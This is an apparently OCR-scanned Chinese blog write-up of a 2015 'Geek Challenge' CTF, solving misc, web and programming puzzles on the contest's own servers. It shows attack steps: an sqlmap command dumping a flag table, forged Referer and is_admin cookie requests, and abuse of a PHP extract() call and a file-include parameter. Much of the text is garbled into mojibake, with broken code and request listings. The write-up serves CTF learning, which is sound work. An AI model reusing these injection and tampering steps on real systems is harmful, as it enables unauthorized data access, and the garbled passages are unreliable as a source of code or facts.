[ Writeup] B AZEHRE RABER(EB & H)

lymh % F 2015-10-31 22:51:17 A7 5936 © Yk 2

FEERE. HERF CERE: MEee R APk CTF Writeup

FRALE B ASCRE ERAQICE, #IE.CC 4.0 BY-SA WRAIMY, 85 _EJFE T s M A=,
ACEERE: https://blog.csdn.netlyminghaO/article/details/49537977

4 RIE 1T

BB

HABMCTFET, —RBIEIILXMEFERSE, —REMRFWEREL . BREDT M EXERMBEE LERENES
B, OEMERE EHBNE S RIXMKS, TRIZMT —L%, RMHTACFRE 6 RE &L WA ER11/41, ZEBITR—TRE
HE11EE, PARKR¥ESHE, tharE/mmEm.

Misc (%% 7)

38

W it KiEsycloveriyi®, FAEHIHEM.

—IFIRMEIEE T, MTAMEENKT. . . EFRKIDRE @=ME/4HSyclover, MKXiEEE S HIREfag.

flag: SYC{Welcome_To_Geek_ Challenge 2015}

05 35

hi! fREIflagke 7, fEzone B, FFEFE—ADMER, MEBFHOS, WEH NS Nag_flag_flagh bl & <42 Hiflag.
#E geek.sycsec.com/zone HIVEMRAD, RILINTFIER:

R 2R M geek.sycsec.com/slogan, RARFEXANTE, EHENMTEAR. BERFETLEHOS", FFUWREEME LR L
%, ZRGETHPOSTLEE:. MEHKNR DS (FXslogan) , FrLlERERIER M %R slogan=flag_flag_flag.

FGET—T, RMT: geek.ssycsec.com/slogan?slogan=flag_flag_flag

S5 Fburpsuite POSTT —F, XRKT, FTRXEMBM T HFA. « - BEZKUiHFirefoxffiHackbarkPOSTHEL . « o XM
HEBERMNIChromekFH. . .

SRJE FFirefoxds T —k, BARME T, EWNFIRE T flag.
BEWT:


https://blog.csdn.net/u014025300
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http://geek.sycsec.com/slogan?slogan=flag_flag_flag
https://mp.csdn.net/clock?utm_campaign=marketingcard&utm_source=u014025300&utm_content=49537977

\ " |l geelksyesec.com/slogan
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INT *| = & S5QL- XS5+ Encryption- Encodingr Other-

LB ] S5 (EEEss) | HEeiE

@ Load URL  httpy//geek.sycsec.com/slogan
W split URL

) Execute

[¥] Enable Past data Enable Referrer

Post data

slogan=flag_flag_flag

FIEERE=EE geeksycsec.com JIEEE...

" css EEETN o
e PEEN) - @ C55 -~ @ JS - e 2@ A
—I POST http://geek.sycsec.com/slogan

ETREER

Cache-Control:

(?A?)

P e

Encoding:
Accept: text/himl application/xhtml+xml application/xml,g=0.9 **g=0.8

gzip, deflate

PHPSESSID: usogst0fds82bTno6t0h3e0080

slogan: flag_flag_flag

K-Powered-By: PHR/S.4.45

’:_f::::‘ WIS from localhost pealdomain:20
X-Cache: MISS from localhost localdomain

Via: 1.0 localhost.localdomain (squid/3.1.23)
Server: Apache
Pragma: no-cache
Expires: Thu, 19 Nov 1981 08:52:00 GMT

Date: Sun, 01 Nov 2015 05:41:17 GMT

Content-Type: text/html| charset=UTF-8
Content-Length: 105
Connection:  keep-alive

no-store, no-cache, must-revalidate, post-check=0,
pre-check=0

<script=alert"flag in here! can you see me?');history.go(-1),</script=

4P0st_Sl0gan_1s_g00

(0) AEMMRENT, RUBRER—SFEET .

http://geek.sycsec.com/download/misc/AAencode

TIFEEER T —HH LT, - .

can you see me?

B HEBXMHFREEEN T —ANRET (FREEARASREET) , BIEFCFEH ElConsole B i — T ikt B 3h
+R9E, JERTMEBR—FIAAencode s INEE, BT LAEE XA M5 FEL N .

R, BXBEMAETIE|IConsole Bl —T:


http://geek.sycsec.com/download/misc/AAencode
http://utf-8.jp/public/aaencode.html

Q D Elements Metwork Sources Timeline Profiles Resources  Audits }Consolei
® W <topframe> ¥ [ Preserve log

PR T ) ke T Y [ 'Y 0= =235 e=(T00) S0 OO
A==3) + ) [ Mo CR) ['c'] = (CF)+_0) L Co+0C-")-00") 1;08) ['o'] =41
(=) - (o )I=08) [TeI=(0 ) ") [ 3000 CR) [o I+ (("-"==3) +'_"} [
81+ Cwt+ ) 6] (T R=(0); CLICEI="WS OO0 ="K+ " )[o"_ "o -
B+ (") + (o* o))+ CHICE I+HCO )+ ((F-°) + (707 ) )+ ({o*_"0) +(o" o))+ ("L
CY (O 000 ) CRICEIRT) + (P8 ) )+ ({0t o) +(o” o))+ (R I e 1+
(c*_to)+ CRICEI+C ")+ ((o" t0) - ("0 })+ (R I 1+0°8" )+ (°8 )+ (o™ o)+ (F
(et o)+ (") + (o* to))+ ("B J+{{o* "o} +{o*_*a))+ ((o"_"0) +(o* "0))+ ('K
g 1+(°8 )+ (c”_"o)+ ({o"_"e) - ('8 )+ "B 1+(°8" )+ ((o"_"0) - (6" ))+ ("} -
(o"_to})+ (o™ "o}+ A€ 1+ )+ ("6 )+ ((0™_"0) - ("0 ))}+ CO I 1+ 0 )+ ("€
)+ (o™ o))+ PR E IO )+ (e o) (") + (PO ))s (RIS )+ (0" "
(e )+ ((o"_"o) +(c™ "o))+ (A" 1+("8 )+ ({o"_"0) - ("€ })+ (c* o)+ (O )€
8 )3+ (0" o)+ (CF I € 1+((o"_ ") +{o" o))+ ({"-"} + (0" _te))+ (A I 1+("0" )+
BICe1+000 )+ ("0)+ ("0 )+ ) 1+(°0° )+ (0" _"o)+ (c_ o)+ (A I ]+((o"_"c
(e )+ ({o" "o} - ("€ ))+ (") ORI 1+ )+ (O )+ (c™ o)+ (LI 1+(76 )+
8 )+ (cr o)+ CRICE 1+ )+ ((o™ o) - ("0 )+ (") + ("0 ) )+ CRICE" 1+(("-
(")« o= CRMEIHC") + (0 o))+ (") + Ce )+ CRICEIHC ")+
KNMUGE2UNBUXGX 3 JONPWEY LTMVE TGMS TMFXGTX 3KONTHK Y ILPU======

undefined

BE— B A 7T 5

KNMUG62UNBUXGX3JONPWEYLTMVPTGMS7MFXGIX3KONTHKY3LPU======

A rifgbase64, HREMAHR, MARMBZXET. - .
PS. MM PR X HIF%, XRbase324ity, W _EwTLIREIEILES, WILEHLESRR:

SYC{This_is_base 32_and_jsfuck}

RKEf
ARFRBOXIRBA B AARKEE, BB BT KRR

http://geek.sycsec.com/download/misc/wireshark.pcapng

XAMRMEEIM, —HHWireshark#r. T RIEILHE 12002 %ML, Wit — T, &FEREA A RIVRMBE N,

Filter: ‘ http.request.method IZ| Expression... Clear Apply Save
No. Time Source Destination Protocol Length Info

1050 22. 394014010, £11.55. 0 222,192,180, oy HTTP Y13 GET /bao/uploaded,/73/181o801020
1052 22.397147010.211.55.6 222.182.186. 50 HTTP 912 GET /baoc/uploaded/i2/1603106273
1054 22.397412010.211.55.6 222.182.186. 50 HTTP 913 GET /baoc/uploaded/i2/1587101161
1056 22.398657010.211.55.6 222.182.186. 50 HTTP 912 GET /bac/uploaded/i3/1157505652
1184 25.940135010. 211. 55.6 10.2311.55.3 HTTP 496 GET /login.php HTTP/1.1
1190 26.019564010. 211. 55.6 10.2311.55.3 HTTP 363 GET /favicon.ico HTTR/1.1
1218 33.138669010. 211. 55.6 10.2311.55.3 HTTP 08 POST ogin. php HTTP appl
1221 33.142205010.211.55.6 10.211.55.3 HTTP

3.1446920 10. .6 3 424 GET /flag. jpeg HTTP/1.1

3] 10.211.55.3 HTTP 363 GET /Tavicon.1co HTTR/I. T

1246 33.163495010. 211. 55.

ULHATE1223 5 X BiER T flag.jpeg, ARJEHEIFEMLE TR, EWAE12395WE TXKE . FRITIHF12395 HIBE F 1k
(Wireshark /48 32 5. () “Export Selected Packed Bytes...”] LB # A A S B BH 0, BEFHKTIEE~ , TASEKER,
ﬁﬁﬂag:


http://geek.sycsec.com/download/misc/wireshark.pcapng

SYC{Wireshark_is_awesome}

A ENG?

SARSERIG? Vrif BB T —AMlag(sycREKRE)
http://geek.sycsec.com/download/misc/gbab7854e8c894a53c456d6da30bect68

THAETE, FREANMREH, HRMAEgt, &Eh. . .
FEBRB R

BIFT ZENFEKXEFEEBABIR nc 222.18.158.229 30002
FABMOTIXFE, @Y. . .

A 2k — Bk ?

XEEEH, TUMFHEE.
http://geek.sycsec.com/download/misc/5efd5e5da5322793d07ab49b21368cc5.html
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http://geek.sycsec.com/download/misc/gbab7854e8c894a53c456d6da30bec68
http://geek.sycsec.com/download/misc/5efd5e5da5322793d07ab49b21368cc5.html

ZHHIEER, KABEERATES XM CHREPK) , TREXMAY RAB ArartT I, KIT REKIflag bt WA :

flagElt, FRERFGRERIG T, WAL ER—ANmE, -~
QHX56;&H#x42; 8H#XA6; &H#XTD; &H#XET ; &ttxOb; &#X33; &HXST; &#x4 8; &#XT 1; &#x66; &HX30; &#X6 7 ; &# X3 3; &#X5f; &#x49; &#Xx30; &# X7 5; &t x5f; &#x62;
Q#X30; &H#XT7 8; &H#X5f; &#X31; &#XT7 8;&#X7 d;

XA A0 &N L B0 B G B P A D) SR AR AR DN ML A, BT BB AR BT AF unicode g . X B g i T A B A H E R R
N

VBF{Wk3_Hqf0g3_10u_bOx_1x}

RIEZRELRETE K VBF B B'SYC”, RKIVERRBAINE . BAMERRSERA:

SYC{Th3_Enc0d3_FOr_yOu_1u}

re200_1
B RREEELNEIMiscXET, #HHIFEAR. o -

Web

Vous ferez Fran?ais

http://web1.sycsec.com/c8bb427af2bc740a11fd1784c1f11735/
WF, ERRSEEG? B, . AR, 4?7 BEREAS! EXRMgeek.

BERILENE S, NWERRESIRLMAccept-LanguageFB T, TR E NFrenchigss, 75%flag:

Request Response

‘Raw | Headers | Hex | Raw | Headers | Hex

GET /c8bb427af2bc740al1fd1784c1f11735/ HTTP/1.1 A HTTP/1.0 200 OK

Host:web lsycsec.com 1 Date: Sat, 31 Oct 2015 12:09:35 GMT

Proxy-Connection: keep-alive Server: Apache

Cache-Control: max-age=0 X-Powered-By: PHP/5.4.45

Accept: text/html,application/=html+xml,application/xml;g=0.9,image/webp,*/",q=0.8 Content-Length: 30

Upgrade-Insecure-Requests: 1 Content-Type: text/html; charset=UTF-8

User-Agent: Mozilla/5.0 (Windows NT 6.1; \WO'W6e4) Apple'WebKit/537.36 (KHTML, ke Gecko) Chrome/45.0.2454.99 X-Cache: MISS from localhostlocaldomain

Safari/537.36 X-Cache-Lookup: MISS from localhostlocaldomain:g0

Accept-Encoding: gzip, deflate, sdch “ia: 1.0 localhostlocaldomain (squid/3.1.23)

Accept-Language: french Connection: keep-alive
SYC{Wow_yOu_MOd1fY_the Hedder}

/INEH

http://web1.sycsec.com/d900342ce35a24bca80c965e4 3800561/
N B BAT, ZW? R E.

R E Bk 1 A url:
http://web1.sycsec.com/d900342ce35a24bca80c965e4380056f/include.php?file=text.php
BEWKEIA —TipsFE: trytoread README, T3R5
http://web1.sycsec.com/d900342ce35a24bca80c965e4380056f/include.php?file=README.php

T EHImT A


http://web1.sycsec.com/c8bb427af2bc740a11fd1784c1f11735/
http://web1.sycsec.com/d900342ce35a24bca80c965e4380056f/
http://web1.sycsec.com/d900342ce35a24bca80c965e4380056f/include.php?file=text.php
http://web1.sycsec.com/d900342ce35a24bca80c965e4380056f/include.php?file=README.php

TEL RIS phpHILFIE&AH —E R T MR T (B4R AE S 23X T BIRIG 4 2

FREET —L%, FOEWTUFACHEESRAEshel, MR EAKEEFHE, STEIT
http_

http://web1.sycsec.com/0bf127f0b4458¢c7652622b093a85b30a/

WebH &2, BERLRMAEFlagFB: SYC{1_4M_HttP_He4der}

/NBH 2

http://web1.sycsec.com/12fee4c35daf89c236efbb210026ec8b/
NER? TR R

FIFM TR T N

NIRRT A ST AR 3, (B AbRE BRT IR — AN RIE TR, TRMERT k.
ZH—BEAERREHCK S, EARRRAET /NEHE:
Se HETH S g = —ALEs N, AR TAE.

EE'PLE NN H % T Arobots.txt, ¥ 2 KL% B 3 T Findex.php.bak3Cf, 1510 2 & B0 T phpiiil:

<?php
$whattodo

@extract ($_REQUEST);

if($whattodo
echo $flag;

XA extract() R AT VB BB ERE, TRMWiEuiREfag:

< C | [ webl.sycsec.com/12feed4c35daf89c236efbb210026ec8b/?w hattﬁdo save%20the%20world!

SYC {T0_sdVs_the wiR1d) dNEEzelidnmy TEM@%H&EE’]H@E BRI A AAE TR, TRMEHRT .
SHI—EETHRE OIS, B EERRE T MERE
SHIB R SR TS A. AT,

aspfR&g?

B ANIX BEHflag BAE (flagizSYC{shell 1 Z15})
http://web1.sycsec.com/63f4e9530ce4759821452cba6599931f/www.zip

BB S
KKK, R

W PiX — JE 5 B AR B AR SRR M, SRRk, 5—KEAE.
http://web1.sycsec.com/b33804a7301e583caba473c1c092b09f/


http://web1.sycsec.com/0bf127f0b4458c7652622b093a85b30a/
http://web1.sycsec.com/12fee4c35daf89c236efbb210026ec8b/
http://web1.sycsec.com/63f4e9530ce4759821452cba6599931f/www.zip
http://web1.sycsec.com/b33804a7301e583ca6a473c1c092b09f/

KKK, MKTF, BAMEAKRBHNIRNZZIEREIEIGRE! !
Tips:Z &4 SYCH

GETERPOSTHEH, FRKRN. . . H&HMMK. . .
MR E
zone LA — I IEE, RAERIIIIRES T ],

flagiifE X MurlEL:  hitp://geek.sycsec.com/assets/default/css//jk.min.css

{Css_Als@_Can_h1D3_Flag}";

color: transparent;
display: none;

}
BT ot T9F T
http://web1.sycsec.com/64588a74337c02f4e7c4043564a4d8a1
IIFLAE R : R BB 23 8RR 7 A e !

HEN R A E R K referer7 B, b UL IR B :

Raw | Headers | Hex

Raw | Headers | Hex

GET /64588a74337c02f4e7c4043564a4d8al/ HTTP/1.1

Host:webl.sycsec.com

Proxy-Connection: keep-alive

Cache-Control: max-age=0

Accept: text/htmlapplication/#html+xmlapplication/=mlg=0.9image/webp,*/*q=0.8
Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Vindows NT 6.1: WOWE4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome45.0.2454.99
Safari/537.36

Accept-Encoding: gzip, deflate, sdch

Accept-Language: zh-CN,zh;q=0.8,en;g=0.6

Referer: www.google.com

FR&In_tcookiejal:

Raw | Params | Headers | Hex

e

HTTP/1.0 200 OK

Date: Sat, 31 Oct 2015 13:25:32 GMT

Server: Apache

X-Powered-By: PHP/5.4.45

Set-Cookie: is_admin=0; expires=5Sun, 01-Nov-2015 13:25:32 GMT
Content-Length: 32

Content-Type: text/html; charset=UTF-8

X-Cache: MISS from localhostlocaldomain
X-Cache-Lookup: MISS from localhostlocaldomain:80
“ia: 1.0 localhostlocaldomain (squid/3.1.23)
Connection: keep-alive

RAEEER FETIE?

Raw | Headers | Hex

GET /64588a74337c02f4e7c4043564a4d8al/ HTTP/1.1

Host:web lsycsec.com

Referer: www.google.com

Proxy-Connection: keep-alive

Cache-Control: max-age=0

Accept: text/html,application/xhtml+xml,application/«ml;g=0.9,image/webp,*/*;q=0.8
Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 6.1; \WO'We4) Apple'WebKit/537.36 (KHTML, ke Gecko) Chrome/45.0.2454.99

Safari/537.36

Accept-Encoding: gzip, deflate, sdch
Accept-Language: zh-CN,zh;q=0.8,en;q=0.6
Cookie: is_admin=1

sqli1

L

HTTP/1.0 200 OK

Date: Sat, 31 Oct 2015 13:34:34 GMT

Server: Apache

X-Powered-By: PHP/5.4.45

Content-Length: 49

Content-Type: text/html; charset=UTF-8

X-Cache: MISS from localhostlocaldomain
X-Cache-Lookup: MISS from localhostlocaldomain:g0
Wia: 1.0 localhostlocaldomain (squid/3.1.23)
Connection: keep-alive

WinER, BER. SYC{U_4rE_ AdmlnlsTratOr}



http://geek.sycsec.com/assets/default/css//jk.min.css
http://web1.sycsec.com/64588a74337c02f4e7c4043564a4d8a1

PRRFP ! http://sql.sycsec.com/5f3b974ef6337582f2eeb8da24059¢7a/

REBEEEsqmapHAK. . .

sqlmap.py -u http://sql.sycsec.com/5f3b974ef6337582f2eeb8da24059c7a/?uid=1 -D sqll -T flag -C flag --dump

flag: SYC{Sql Inject10n_0n3_ppp}

ZJEHweb B &, AAAIXLE:


http://sql.sycsec.com/5f3b974ef6337582f2eeb8da24059c7a/

sqgli2(score:200)

¥iEsk! http://sql.sycsec.com/f8077108525d33bd7f0b1fd98b53dc59/

BB CHEdalE, http://sql.sycsec.com/d07127¢7c9267637d554¢3f79e1ee203/

Bypass_it(score:200)

http://upload.sycsec.com/

dede(score:350)

Come on! http://cms.sycsec.com/

=HEESHR(score:200)

EFRNAF, BRESTIE! ps:T/AVIMYTE http://web1.sycsec.com/e1f29a7ed5acf42fba22c758cb20edbe/

WEBS500(—)(score:300)

EFETAmE, MRtk HEET . RaJllid? http://hackme.sycsec.com

WEBS500(=)(score:200})

=I5B " #flag http://hackme.sycsec.com

Reverse & Linux




EHA R, B
Program

Transposition cipher
BB E hitp://geek.sycsec.com/download/program/program100/Transposition_cipher.html
NBT —FEBBRME T, BTN FREESEL, RERE—F—FIHRE L. 47T —BESCEEHRBRE .

THERE, AL, THEARACSKFERN:

6) 7) 3) 2} 1})‘

freopen( , stdin);

freopen( , stdout);
int hang 1075;

char c;

int i 9, j 0, cnt 0;
while((c getchar()) EOF) {

mp[i++][key[J]] = c;
if(i hang){

j .

. 0;

for(int ii=@; ii<hang; ii++){

for(int jj=1; jj<=7; jj++){
putchar(mp[ii][jj]);

}
putchar( );

1

J

return 0;

JEHMBERBLEE: o -
BE—T, BRREACERAKT . GERZ HEHT, FMESFERIUAEAEEEFMHEE—LRKFTT

AL BRRIEFETZANTTH, REREZZ K. 228K, FRUERESLRER.



http://geek.sycsec.com/download/program/program100/Transposition_cipher.html




	【Writeup】第六季极客大挑战(部分题目)
	Misc (杂项)
	签到题
	口号更新
	(?Д?)
	大鲨鱼
	会不会写代码？
	手速够不够快？
	仔细瞧一瞧？
	re200_1

	Web
	Vous ferez Fran?ais
	小明
	http_
	小明2
	asp你会吗？
	来来来，写代码
	小彩蛋
	饼干饼干饼干
	sqli1

	Reverse & Linux
	Program
	Transposition cipher


